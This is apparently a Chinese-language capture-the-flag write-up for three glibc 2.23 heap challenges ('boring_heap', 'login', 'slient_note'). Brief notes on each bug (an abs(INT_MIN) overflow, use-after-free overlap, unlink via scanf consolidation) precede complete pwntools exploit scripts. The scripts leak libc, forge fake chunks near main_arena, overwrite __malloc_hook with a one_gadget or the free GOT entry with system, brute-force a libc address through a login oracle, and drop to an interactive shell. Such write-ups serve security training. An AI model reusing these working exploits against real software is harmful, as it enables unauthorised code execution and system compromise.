1.boring_heap

关键点:
1.abs(INT_MIN)的未定义行为
abs(INT_MIN):-2147483648
abs(INT_MIN)%30:-8
abs(INT_MIN)%32:0
abs(INT_MIN)%48:-32
abs(INT_MIN)%64:0
0x40的chunk可以修改自己的header 从而构造overlap chunk 以及获取libc
2.因为只能申请固定的chunk 无法在__malloc_hook处构造fake chunk 所以利用main_arena修改top到__malloc_hook

3.需要free一个比0x50小的fast chunk 来更新main_arena 从而利用指针 0x56地址构造 0x50 fake chunk 注意这里的fake chunk够不到top
4.利用fake_chunk修改0x50的fastbin的指针 并且在下面再构造大小为0x50的fake chunk
5.利用新的fake chunk修改top
6.malloc一个不存在于fast bin中的chunk(需要控制此时的unsort bin为空),修改__malloc_hook的内容为one_gadget
7.malloc触发漏洞

大坑:
在arana附近构造fake chunk需要绕过判断
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
return victim;
此处需要保证mmaped为1 这样才能绕过第三个ar_ptr == arena_for_chunk (mem2chunk (victim))判断
该判断会造成非法内存地址访问…
原理是代码优化导致的|| 在某个值为1之后就跳过了之后的检测
assert是为0才报错

所以由于ASLR造成的堆地址以0x55或者0x56开头
其中0x56才能通过检测
0x55不行!!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda data,addr :log.success(data+hex(addr))
ctx.binary = './pwn'
ctx.custom_lib_dir = '/media/sf_share/glibc-all-in-one/libs/2.23-0ubuntu10_amd64'
#ctx.remote = ('172.16.9.21', 9006)
ctx.debug_remote_libc = True
context.log_level = 'debug'
def add(type,content):
sla('Exit\n','1')
sla('3.Large\n',str(type))
sa('Content:\n',content)
def edit(idx,offset,content):
sla('Exit\n','2')
sla('update?\n',str(idx))
sla('update?\n',str(offset))
sa('Content:\n',content)
def free(idx):
sla('Exit\n','3')
sla('delete?\n',str(idx))
def show(idx):
sla('Exit\n','4')
sla('view?\n',str(idx))
rs()
add(1,'1\n') #0
add(2,'1\n') #1
add(3,'1'*0x20+'\n') #2
add(3,'1\n') #3
edit(1,-2147483648,p64(0)*3+p64(0x91)+'\n') #overlap 2
free(1)
add(1,'1111111\n') #4
show(4)
addr=uu64(r(16)[8:-2])-0x3c4bf8
one_gadget=addr+0xf1147
main_arena=addr+0x3c4b20
fake_arena=addr+0x3c4b2d
add(1,p64(0)+p64(0x51)+'\n') #5
add(1,'3'*0x20) #6
free(2)
edit(5,0,p64(0)+p64(0x51)+p64(fake_arena)+'\n')
add(3,'\n') #7
free(6)
add(3,'\x00'*3+p64(main_arena+0x20)+p64(0x51)+'\n')#8
add(3,p64(0)*5+p64(addr+ctx.libc.sym['__malloc_hook']-0x10)+'\n')#9
add(2,p64(one_gadget)+'\n')
irt()


'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf02b0 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

2.login

UAF造成的overlap

用2号用户修改1号用户的密码content指针,然后将指针指向libc,再爆破出libc,之后就是修改content到/bin/sh字符串地址,以及修改打印函数到system,登录达到利用。

难点有两处
1.指向libc需要提前在某个地方用unsortbin踩出libc地址,通过patial overwrite修改就行,不用泄露heap
2.爆破libc:需要从高位开始,而且read读取临时密码的时候是从低位开始,所以brute的字符串拼接需要尤其注意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda data,addr :log.success(data+hex(addr))
ctx.binary = './login'
ctx.custom_lib_dir = '/media/sf_share/glibc-all-in-one/libs/2.23-0ubuntu10_amd64'
#ctx.remote = ('172.16.9.21', 9006)
ctx.debug_remote_libc = True
context.log_level = 'debug'
def add(idx,length,password):
sla('Choice:\n','2')
sla('id:\n',str(idx))
sla('length:\n',str(length))
sa('password:\n',password)
def edit(idx,content):
sla('Choice:\n','4')
sla('id:\n',str(idx))
sa('pass:\n',content)
def free(idx):
sla('Choice:\n','3')
sla('id:\n',str(idx))
def login(idx,length,password):
sla('Choice:\n','1')
sla('id:\n',str(idx))
sla('length:\n',str(length))
sa('password:\n',password)
def brute():
addr=""
length=1
base=0x65
for j in range(6):
for i in range(256):
login(1,length,chr(i)+addr)
if(r(5)=="Login"):
length+=1
addr=chr(i)+addr
break
base-=1
edit(2,chr(base))
return addr
rs()
add(0,0x20,"2222")
add(1,0xa0,"123")
free(0)
free(1)
add(2,0x18,"\x65")
libc=uu64(brute())-0x3c4b78
system=libc+ctx.libc.sym['system']
binstr=libc+ctx.libc.search('/bin/sh').next()
edit(2,p64(binstr)+p64(system))
login(1,7,'/bin/sh')
irt()

3.slient_note

由于0x28的妙用 又可以修改pre_size 所以可以控制unlink

难点在于scanf 缓冲不够(>0x400)时重新申请大堆块 造成的consolidate 以及fastbin放入对应的small bin

修改fd和bk为bss段chunk指针,即可以使该指针指向-0x18的位置

利用edit函数,就可以达到任意写

这里我的trick是修改大堆指针为小堆指针地址,这样可以多次任意写了

然后就是改free got为put plt
改小堆指针地址为puts got
free 小堆泄露libc
在bss空闲区写/bin/sh字符串
之后就是修改free为system
再次free达到利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda data,addr :log.success(data+hex(addr))
ctx.binary = './pwn'
ctx.custom_lib_dir = '/media/sf_share/glibc-all-in-one/libs/2.23-0ubuntu10_amd64'
#ctx.remote = ('172.16.9.21', 9006)
ctx.debug_remote_libc = True
context.log_level = 'debug'
def add(type,content):
sla('Exit\n','1')
sla('Large\n',str(type))
sa('Content:\n',content)
def edit(idx,content):
sla('Exit\n','3')
sla('Large\n',str(idx))
sa('Content:\n',content)
def free(idx):
sla('Exit\n','2')
sla('Large\n',str(idx))
def hack():
sla("Exit\n",'1'*0x500)
ptr1=0x6020D0
rs()
add(1,'1\n')
add(2,'1\n')
free(1)
hack()
edit(1,p64(0)+p64(0x21)+p64(ptr1-0x18)+p64(ptr1-0x10)+p64(0x20))
free(2)
edit(1,p64(0)*3+p64(ctx.elf.got['free'])+p64(ptr1))
edit(1,p64(ctx.elf.plt['puts'])+'\n')
edit(2,p64(ctx.elf.got['puts'])+'\n')
free(1)
libc=uu64(r(6))-0x6f690
lg("addr:",libc)
edit(2,p64(0x602100)+'\n')
edit(1,'/bin/sh\x00\n')
edit(2,p64(ctx.elf.got['free'])+'\n')
edit(1,p64(libc+ctx.libc.sym['system'])+'\n')
edit(2,p64(0x602100)+'\n')
free(1)
irt()